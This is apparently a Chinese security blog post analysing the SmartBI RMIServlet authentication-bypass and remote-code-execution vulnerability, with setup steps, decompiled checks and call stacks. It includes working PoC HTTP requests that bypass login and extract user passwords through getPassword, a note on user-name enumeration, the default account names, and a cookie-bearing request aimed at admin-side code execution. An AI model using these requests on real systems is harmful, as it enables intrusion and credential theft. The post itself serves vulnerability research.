1Day 跟踪:SmartBI RMIServlet 远程代码执行漏洞

注意
本文最后更新于 2024-03-01,文中内容可能已过时。

1Day 跟踪:SmartBI RMIServlet 远程代码执行漏洞

阿里云漏洞库 (aliyun.com)

Smartbi是一款商业智能应用,提供了数据集成、分析、可视化等功能,帮助用户理解和使用他们的数据进行决策。

2023年7月,Smartbi官方修复了在某种特定情况下远程代码执行漏洞。攻击者可构造恶意请求执行敏感操作,甚至远程代码执行。

Smartbi v8 部分版本 Smartbi v9 全版本 Smartbi v10 全版本

官网申请个人免费试用,填写资料完成之后自动下载 Smartbi-License.xml,配置过程如下。本次下载版本为 10.5.8

Build: 2023-05-20 17:38:24 Version:10.5.882241.23206 TAG:Hotfix_SmartbiV10_5_8_20230517

image-20230705102103997

这里将采用 Windows 安装的方式部署 Smartbi,参考链接如下:Windows EXE安装包部署 Smartbi

一些过程中出现的用户和密码。

image-20230705141602316

image-20230705141750110

使用 demo / demo 登陆进去即可验证是否完成安装。

image-20230705143535342

POST /smartbi/vision/RMIServlet?windowUnloading=&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

className=UserService&methodName=isLogged&params=[]

可以看到直接访问 /smartbi/vision/RMIServlet 会直接让我们登陆。

image-20230705143721769

但是使用 PoC 发送报文之后没有让我们登陆,绕过了登陆。

HTTP/1.1 200 
Set-Cookie: JSESSIONID=8FC34D36AA7B22B134ABF2D5CAEC8B72; Path=/smartbi; HttpOnly
Content-Type: text/plain;charset=UTF-8
Content-Length: 41
Date: Wed, 28 Jun 2023 04:12:33 GMT

:"H~CxOm~"{q,"H~*2KC"{-EK*~,"m2HECcO'"{q}

startup.cmd

将文件中的最后一行添加调试参数。

"%JAVA_HOME%\bin\java.exe" %LOGGING_CONFIG% %LOGGING_MANAGER% %JAVA_OPTS% -server -Dfile.encoding=GBK -Duser.region=CN -Duser.language=zh -Djava.awt.headless=true -XX:MaxMetaspaceSize=512m -XX:-OmitStackTraceInFastThrow -Xloggc:%tomcatdir%\bin\gc.log -Dmail.mime.splitlongparameters=false -XX:+HeapDumpOnOutOfMemoryError -Dlog4j.configuration=log4j.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager   -Djava.endorsed.dirs="%tomcatdir%\endorsed" -Dcatalina.base="%tomcatdir%" -Dcatalina.home="%tomcatdir%" -Djava.io.tmpdir="%tomcatdir%\temp" -cp "tomcat-juli.jar;bootstrap.jar;log4j-1.2.13.jar;." org.apache.catalina.startup.Bootstrap

修改成如下,接着重启 Smartbi 即可。

"%JAVA_HOME%\bin\java.exe" %LOGGING_CONFIG% %LOGGING_MANAGER% %JAVA_OPTS% -server -Dfile.encoding=GBK -Duser.region=CN -Duser.language=zh -Djava.awt.headless=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -XX:MaxMetaspaceSize=512m -XX:-OmitStackTraceInFastThrow -Xloggc:%tomcatdir%\bin\gc.log -Dmail.mime.splitlongparameters=false -XX:+HeapDumpOnOutOfMemoryError -Dlog4j.configuration=log4j.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager   -Djava.endorsed.dirs="%tomcatdir%\endorsed" -Dcatalina.base="%tomcatdir%" -Dcatalina.home="%tomcatdir%" -Djava.io.tmpdir="%tomcatdir%\temp" -cp "tomcat-juli.jar;bootstrap.jar;log4j-1.2.13.jar;." org.apache.catalina.startup.Bootstrap

image-20230705160144658

主要是过程的是 CheckIsLoggedFilter -> RMIServlet

CheckIsLoggedFilter 做了一个检查,FilterUtil.needToCheck(className, methodName) 传入的正是我们可以控制的参数。

} else if (FilterUtil.needToCheck(className, methodName) && (!"true".equals(session.getAttribute("is_config_login")) || !this.monitorInvoke(className, methodName))) {

检查方法如下,PoC 中使用的是 UserServicecheckVersion,在 PoC 只是对应的编码过的字符串。

    public static boolean needToCheck(String className, String methodName) {
        if (Objects.equals(className, "ProxyConfigXmlService") && Objects.equals(methodName, "testConnection")) {
            return false;
        } else if (StringUtil.isNullOrEmpty(className) && StringUtil.isNullOrEmpty(methodName)) {
            return true;
        } else if (!StringUtil.isNullOrEmpty(className) && !className.equals("BIConfigService")) {
            if (className.equals("UserService") && StringUtil.isInArray(methodName, new String[]{"login", "loginFor", "clickLogin", "loginFromDB", "logout", "isLogged", "isLoginAs", "checkVersion", "hasLicense", "autoLoginByPublicUser"})) {
                return false;
            } else if (StringUtil.isInArray(methodName, new String[]{"isShareResource", "isPublicShareResource"})) {
                return false;
            } else if (className.equals("CompositeService") && StringUtil.isInArray(methodName, new String[]{"compositeLogin", "compositeAppLogin", "compositeMobileXLogin", "compositeMobileXSessionLogin", "compositeMobileXSessionLoginExt"})) {
                return false;
            } else if (className.equals("BusinessViewService") && StringUtil.isInArray(methodName, new String[]{"closeBusinessView"})) {
                return false;
            } else if (className.equals("DataSourceService") && StringUtil.isInArray(methodName, new String[]{"clearClientData"})) {
                return false;
            } else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getDefaultEncryptType"})) {
                return false;
            } else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getOAMSURL"})) {
                return false;
            } else if (className.equals("DPPortalService") && StringUtil.isInArray(methodName, new String[]{"removePageBO"})) {
                return false;
            } else if (!"login".equals(methodName) && !"getAppTitle".equals(methodName)) {
                if (className.equals("CommonService") && StringUtil.isInArray(methodName, new String[]{"log"})) {
                    return false;
                } else if (className.equals("FingerTipsDataModule")) {
                    return false;
                } else {
                    return !className.equals("ConfigClientService") || !StringUtil.isInArray(methodName, new String[]{"getNetWorkAlgorithmConfig"});
                }
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

接下来到 RMIServlet 有一个 invoke 方法执行任意类任意方法。(下面其实不是)

smartbi.framework.rmi.ClientService#executeInternal 中有一下看起来很像任意命令执行了。

image-20230707170523237

调用栈如下:

executeInternal:138, ClientService (smartbi.framework.rmi)
execute:120, ClientService (smartbi.framework.rmi)
processExecute:198, RMIServlet (smartbi.framework.rmi)
doPost:121, RMIServlet (smartbi.framework.rmi)
service:682, HttpServlet (javax.servlet.http)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:249, ExtensionFilter$1 (smartbi.extension)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilter:77, PatchFilter (smartbi.security.patch)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilterInternal:276, ExtensionFilter (smartbi.extension)
doFilter:127, ExtensionFilter (smartbi.extension)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:87, TransactionFilter (smartbi.framework.rmi)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:238, GZIPFilter (smartbi.freequery.filter)
doFilter:33, Filter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:93, ExceptionResponseFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:240, CheckIsLoggedFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:45, CheckRefererFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:62, CheckHttpMethodFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, TraceFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:131, RedisSessionFilter (smartbi.framework)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

这里的 methodList 内容其实是 smartbi.sdk.service.user.UserManagerService 的方法名称。一开始以为是简单的反射命令执行,但是后来发现对类有限制,就是在 RMIModule 的 对象 e,有以下:(还没有理解这里为什么只是这些类)

CompositeService
PortalService
DashboardService
ParameterPortletService
ManagementService
ClearPoolCacheService
BusinessViewService
InsightService
SelfQueryModule
AugmentedDataSetForVModule
OrderRuleService
MapAreaService
DataSourceService
ChartService
AIextOperationLogService
ConfigClientService
SystemCheckService
ExportService
ScheduleQueryModule
CalcFieldService
SmartbiTemplateDemoService
UnionDataService
IPadPortalModule
MetadataService
ResourceAuditService
ExpressionTemplateModule
RepositoryService
ExpressionTemplateService
DPPortalService
StateService
TaskService
QuestionModule
MessageService
LanguageModule
SessionService
MessageModule
TransformRuleService
WorkflowModule
DatasetMetaDataService
UserPropertyService
UrlLinkService
CatalogPublishService
SpreadSheetReportModule
ConditionPanelService
EtlTaskScheduleService
MacroService
SocialContactService
BusinessThemeService
SpreadsheetReportExtendOptionModule
NavigationModule
WebsheetModule
OlapMetadataService
SessionLogService
GeoMapAreaService
DataAcquisitionModule
SecurityPatchModule
MetricsModelForVModule
MapAreaSearchService
AlertModule
ParamService
ClientReportService
ParameterPanelService
OfflineModule
RuntimeService
NLAService
AppStoreModule
MigrateModule
SmartbiXModule
SocialContactShareService
ExtFunctionModule
MDPService
OfficeReportModule
WarningStyleService
JobFlowTaskScheduleService
UploadImageService
MyFavoriteService
FilterService
CommonService
ModelQueryForVModule
OlapQueryService
RowPermissionService
CombinedQueryService
IPadModule
BIConfigService
SpreadsheetReportModule
mobilePortalModule
MaskingRuleService
OperationLogService
DataPackageModule
ScheduleSDK
UserService
ReportSourcesService
TimeConsumingModule
CatalogService
OfflineExportService
AIextRemoteService
RelationPaneService
ScheduleTaskStorageService
ExpressionService
OlapQueryClientService
URLParameterModule
MetricsModule
HotReportModule

可是可以看到 UserManagerModule 根本不在里面,里面只有 UserService。怎么从 PoC 中的 UserService 参数执行到 UserManagerModule 对象里面的方法的。

ClientService 中:

Object result = method.invoke(this.module, objParams);

this.module 是什么?是构造函数传入的。

public ClientService(IModule module) {
    this.module = module;
    this.registerMethods();
}

那么是在哪里构造的呢。

ClientService service = RMIModule.getInstance().getService(className);

这里传入的就是 UserService?吗?不是,这个不是直接构造方法实例化的对象。而是 getService 直接拿回来的。

public ClientService getService(String var1) {
    return (ClientService)this.e.get(var1);
}

这里可以看到这个的 moduleUserManagerModule 对象。居然没有对上,真的奇怪。

image-20230706162707200

多看几个,明显有些是名称一致的,有些不是。也就是说,servicemodule 可能是不一样的。

image-20230706163157745

现在问题变成了,我们可以任意调用这个 e 对象下的 valuemodule 的对象的任意方法,我们要找到哪个方法是可以命令执行的了。

先来看有哪些 module 的类。

IDEA 运行这段代码即可计算出来

for (Map.Entry<Object, Object> entry : e.entrySet()) {
 Object key = entry.getKey();
 Object value = entry.getValue();
 if (value instanceof ClientService) {
     ClientService clientService = (ClientService) value;
     IModule module = clientService.getModule();
     String moduleName = module.getClass().getName();
     System.out.println(key + ":" + moduleName);
 } else if (value instanceof i) {
     i error = (i) value;
 }
}

最终的结果是这样,格式是 value:module

LocalManagementHandler:smartbi.management.LocalManagementHandler
CompositeService:smartbi.composite.CompositeModule
PortalService:smartbi.freequery.client.portal.PortalService
DashboardService:smartbi.decisionpanel.dashboard.DashboardService
ParameterPortletService:smartbi.parameterportlet.ParameterPortletService
ManagementService:smartbi.management.ManagementService
ClearPoolCacheService:smartbi.composite.ClearPoolCacheService
BusinessViewService:smartbi.freequery.client.businessview.BusinessViewService
InsightService:smartbi.insight.InsightService
SelfQueryModule:smartbi.spreadsheetreport.core.selfquery.SelfQueryModule
AugmentedDataSetForVModule:smartbix.smartbi.AugmentedDataSetForVModule
OrderRuleService:smartbi.freequery.client.orderrule.OrderRuleService
MapAreaService:smartbi.chart.maparea.MapAreaService
DataSourceService:smartbi.freequery.client.datasource.DataSourceService
ChartService:smartbi.chart.ChartService
AIextOperationLogService:smartbi.aiext.service.AIextOperationLogService
ConfigClientService:smartbi.freequery.client.config.ConfigClientService
SystemCheckService:smartbi.systemchecker.SystemCheckService
ExportService:smartbi.decisionpanel.export.ExportService
ScheduleQueryModule:smartbi.freequery.schedule.ScheduleQueryModule
CalcFieldService:smartbi.freequery.client.calcfield.CalcFieldService
SmartbiTemplateDemoService:smartbi.smartbitemplatedemo.SmartbiTemplateDemoService
UnionDataService:smartbi.freequery.client.uniondata.UnionDataService
IPadPortalModule:smartbi.decisionpanel.portal.IPadPortalModule
MetadataService:smartbi.metadata.MetadataModule
ResourceAuditService:smartbi.freequery.systemmanager.ResourceAuditService
ExpressionTemplateModule:smartbi.exptemplate.ExpressionTemplateModule
RepositoryService:smartbi.auditing.service.RepositoryService
ExpressionTemplateService:smartbi.exptemplate.ExpressionTemplateService
DPPortalService:smartbi.decisionpanel.portal.PortalModule
StateService:smartbi.state.StateModule
TaskService:smartbi.auditing.service.TaskService
QuestionModule:smartbi.eagle.question.QuestionModule
MessageService:smartbi.message.MessageService
LanguageModule:smartbi.repository.LanguageModule
SessionService:smartbi.session.SessionService
MessageModule:smartbi.message.MessageModule
TransformRuleService:smartbi.freequery.client.transformrule.TransformRuleService
WorkflowModule:smartbi.workflow.WorkflowModule
DatasetMetaDataService:smartbi.freequery.metadata.DatasetMetaDataService
UserPropertyService:smartbi.freequery.client.userproperty.UserPropertyService
UrlLinkService:smartbi.freequery.client.urllink.URLLinkService
CatalogPublishService:smartbi.freequery.client.publish.CatalogPublishService
SpreadSheetReportModule:smartbi.spreadsheetreport.SpreadsheetReportModule
ConditionPanelService:smartbi.condition.ConditionPanelService
EtlTaskScheduleService:smartbix.datamining.etl.EtlTaskScheduleService
MacroService:smartbi.macro.MacroService
SocialContactService:smartbi.module.socialcontact.SocialContactService
BusinessThemeService:smartbi.freequery.client.businesstheme.BusinessThemeService
SpreadsheetReportExtendOptionModule:smartbi.spreadsheetreport.SpreadsheetReportExtendOptionModule
NavigationModule:smartbi.eagle.navigation.NavigationModule
WebsheetModule:smartbi.websheet.WebsheetModule
OlapMetadataService:smartbi.olap.OlapMetadataService
SessionLogService:smartbi.logs.SessionLogService
GeoMapAreaService:smartbi.chart.maparea.GeoMapAreaService
DataAcquisitionModule:smartbi.daq.DataAcquisitionModule
SecurityPatchModule:smartbi.security.patch.SecurityPatchModule
MetricsModelForVModule:smartbix.smartbi.metricsmodel.MetricsModelForVModule
MapAreaSearchService:smartbi.chart.maparea.MapAreaSearchService
AlertModule:smartbi.alert.AlertModule
ParamService:smartbi.freequery.client.parameter.ParamService
ClientReportService:smartbi.freequery.client.simplereport.ClientReportService
ParameterPanelService:smartbi.param.ParameterPanelService
OfflineModule:smartbi.offline.OfflineModule
RuntimeService:smartbi.auditing.service.RuntimeService
NLAService:smartbi.freequery.client.nla.NLAService
AppStoreModule:smartbi.eagle.appstore.AppStoreModule
MigrateModule:smartbi.freequery.migrate.MigrateModule
SmartbiXModule:smartbix.smartbi.SmartbiXModule
SocialContactShareService:smartbi.module.socialcontactshare.SocialContactShareService
ExtFunctionModule:smartbi.ext.function.ExtFunctionModule
MDPService:smartbi.mdp.MDPService
OfficeReportModule:smartbi.officereport.OfficeReportModule
WarningStyleService:smartbi.freequery.client.warningstyle.WarningStyleService
JobFlowTaskScheduleService:smartbix.jobflow.service.JobFlowTaskScheduleService
UploadImageService:smartbi.uploadimg.UploadImageService
MyFavoriteService:smartbi.freequery.client.myfavorite.MyFavoriteService
FilterService:smartbi.freequery.client.filter.FilterService
CommonService:smartbi.freequery.client.common.CommonService
ModelQueryForVModule:smartbix.smartbi.modelquery.ModelQueryForVModule
OlapQueryService:smartbi.olap.OlapQueryService
RowPermissionService:smartbi.freequery.client.permission.RowPermissionService
CombinedQueryService:smartbi.combinedquery.CombinedQueryService
IPadModule:smartbi.ipad.IPadModule
BIConfigService:smartbi.config.BIConfigService
SpreadsheetReportModule:smartbi.spreadsheetreport.SpreadsheetReportModule
mobilePortalModule:smartbi.mobileportal.MobilePortalModule
MaskingRuleService:smartbi.freequery.client.maskingrule.MaskingRuleService
OperationLogService:smartbi.repository.OperationLogModule
DataPackageModule:smartbi.datapackage.DataPackageModule
ScheduleSDK:smartbi.scheduletask.runneragent.ScheduleSDK
UserService:smartbi.usermanager.UserManagerModule$$EnhancerByCGLIB$$8ec531ea
ReportSourcesService:smartbi.freequery.reportsources.ReportSourcesService
TimeConsumingModule:smartbi.timeconsuming.TimeConsumingModule
CatalogService:smartbi.catalogtree.CatalogTreeModule
OfflineExportService:smartbi.module.export.service.OfflineExportService
AIextRemoteService:smartbi.aiext.service.AIextRemoteService
RelationPaneService:smartbi.freequery.client.relationpane.RelationPaneService
ScheduleTaskStorageService:smartbi.scheduletask.repository.ScheduleTaskStorageService
ExpressionService:smartbi.freequery.client.expression.ExpressionService
OlapQueryClientService:smartbi.olap.client.OlapQueryClientService
URLParameterModule:smartbi.url.URLParameterModule
MetricsModule:smartbi.metrics.MetricsModule
HotReportModule:smartbi.hotreport.HotReportModule

暂时没有找到可以命令执行的类。

上面说过我们可以调用smartbi.sdk.service.user.UserManagerService 中的任意方法,我们看到有一个可以查看密码的方法 getPassword

public String getPassword(String userName) {
        HttpServletRequest request = this.stateModule.getRequest();
        if (request != null) {
            String className = (String)request.getAttribute("className");
            if (className == null) {
                className = request.getParameter("className");
            }

            if ("UserService".equals(className)) {
                String configValue = this.systemConfigService.getValue("ALLOW_CALL_GET_PASSWORD_METHOD");
                if ("false".equals(configValue)) {
                    String detail = StringUtil.getLanguageValue("CouldNotGetPasswordAlert");
                    throw (new SmartbiException(CommonErrorCode.NO_PERMISSION)).setDetail("\n" + detail);
                }
            }
        }

        UserBO userBO = UserManager.getInstance().getUserByName(userName);
        if (userBO != null) {
            return userBO.getPassword();
        } else {
            throw new SmartbiException(UserManagerErrorCode.NOT_EXIST_USER);
        }
    }

其实账号密码是明文保存在默认安装的 MySQL 中的,我们发送请求报文后它会返回你传入用户的密码的 MD5 的值。

发送 PoC

POST /smartbi/vision/RMIServlet?windowUnloading=&%63%6c%61%73%73%4e%61%6d%65%3d%55%73%65%72%53%65%72%76%69%63%65%26%6d%65%74%68%6f%64%4e%61%6d%65%3d%63%68%65%63%6b%56%65%72%73%69%6f%6e%26%70%61%72%61%6d%73%3d%5b%5d HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

className=UserService&methodName=getPassword&params=["demo"]

值得注意的是,返回密码 MD5 值会多一个 0。这里的前提是你提前知道某个账户的账户名。假如没有查询的用户的话返回的内容会有报错,可以凭此来进行穷举用户名称。

返回的报文

HTTP/1.1 200 
Set-Cookie: JSESSIONID=B3B4D8BE7ABFCC463F74EDCB124748E0; Path=/smartbi; HttpOnly
Content-Type: text/plain;charset=UTF-8
Content-Length: 71
Date: Sat, 01 Jul 2023 05:35:52 GMT

{"retCode":0,"result":"0fe01ce2a7fbac8fafaed7c982a04e229","duration":1}

默认的用户有:admin public scheduleAdmin service system。

image-20230710164555749

这里发现其实请求默认账号的密码的时候会直接返回明文密码。

image-20230710165049466

DataSourceService:smartbi.freequery.client.datasource.DataSourceService 的 JDBC 反序列化和 JNDI 注入都有防护,无法绕过命令执行。

image-20230711150230681

利用失败调用栈

getConnection:831, ConnectionPool (smartbi.connectionpool)
getConnection:790, ConnectionPool (smartbi.connectionpool)
testConnection:655, MetaDataServiceImpl (smartbi.freequery.basicdata)
simpleTestConnection:2047, DataSourceService (smartbi.freequery.client.datasource)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
executeInternal:138, ClientService (smartbi.framework.rmi)
execute:120, ClientService (smartbi.framework.rmi)
processExecute:198, RMIServlet (smartbi.framework.rmi)
doPost:121, RMIServlet (smartbi.framework.rmi)
service:682, HttpServlet (javax.servlet.http)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:249, ExtensionFilter$1 (smartbi.extension)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilter:77, PatchFilter (smartbi.security.patch)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilterInternal:276, ExtensionFilter (smartbi.extension)
doFilter:127, ExtensionFilter (smartbi.extension)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:87, TransactionFilter (smartbi.framework.rmi)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:238, GZIPFilter (smartbi.freequery.filter)
doFilter:33, Filter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:93, ExceptionResponseFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:240, CheckIsLoggedFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:45, CheckRefererFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:62, CheckHttpMethodFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, TraceFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:131, RedisSessionFilter (smartbi.framework)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

改管理员密码:

UPDATE t_user SET c_userpwd = '2admin' WHERE c_username = 'admin';

重启 Smartbi

<init>:39, SelfDefineTaskBO (smartbi.scheduletask.task)
testSelfDefineTask:419, ScheduleSDK (smartbi.scheduletask.runneragent)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
executeInternal:138, ClientService (smartbi.framework.rmi)
execute:120, ClientService (smartbi.framework.rmi)
processExecute:198, RMIServlet (smartbi.framework.rmi)
doPost:121, RMIServlet (smartbi.framework.rmi)
service:682, HttpServlet (javax.servlet.http)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:249, ExtensionFilter$1 (smartbi.extension)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilter:77, PatchFilter (smartbi.security.patch)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilterInternal:276, ExtensionFilter (smartbi.extension)
doFilter:127, ExtensionFilter (smartbi.extension)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:87, TransactionFilter (smartbi.framework.rmi)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:238, GZIPFilter (smartbi.freequery.filter)
doFilter:33, Filter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:93, ExceptionResponseFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:240, CheckIsLoggedFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:45, CheckRefererFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:62, CheckHttpMethodFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, TraceFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:131, RedisSessionFilter (smartbi.framework)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

当 admin 账户激活的情况下,获取到用户的 Cookie 之后可以在后台调用任意 JS 代码达到命令执行的效果。

POST /smartbi/vision/RMIServlet?windowUnloading=&%63%6c%61%73%73%4e%61%6d%65%3d%55%73%65%72%53%65%72%76%69%63%65%26%6d%65%74%68%6f%64%4e%61%6d%65%3d%63%68%65%63%6b%56%65%72%73%69%6f%6e%26%70%61%72%61%6d%73%3d%5b%5d HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 159
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Cookie: JSESSIONID=D8E6B3AC7418E626FED2381BF4E651DB

